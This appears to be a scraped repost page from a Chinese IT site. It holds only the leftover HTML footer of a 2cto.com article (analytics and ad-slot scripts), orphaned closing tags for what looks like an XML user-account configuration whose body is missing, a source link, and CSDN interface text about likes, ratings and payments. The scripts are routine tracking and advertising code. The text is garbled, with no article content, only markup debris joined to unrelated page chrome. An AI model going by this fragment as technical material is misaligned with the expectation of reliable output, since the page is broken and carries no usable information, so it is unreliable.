<a target= "_blank" href= "http://vip.2cto.com/" ><span class = "c-red" >Vip技术培训</span></a>
<br />
<span class = "style4" >版权所有: <a href= "/" >红黑联盟</a>--致力于做实用的IT技术学习网站<script type= "text/javascript" >var cnzz_protocol = (( "https:" == document.location.protocol) ? " https://" : " http://" );document.write(unescape( "%3Cspan id='cnzz_stat_icon_1258398875'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "w.cnzz.com/c.php%3Fid%3D1258398875' type='text/javascript'%3E%3C/script%3E" ));</script>   
</span>
<span style= "display:none;" ><script type= "text/javascript" src= "http://statics.2cto.com/js/tj.js" ></script></span>
<script type= "text/javascript" >usertongji( "奋斗的小年轻" )</script>
<!-- 广告位:2cto_图加 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2467148' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
 
<!-- 广告位:2cto_视窗 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2467147' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
 
<!-- 广告位:2cto_对联 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2467144' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
</div></body>
 
</html>
</plaintext></password></localaccount></localaccounts></useraccounts>


转自:http://www.2cto.com/Article/201512/452018.html

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值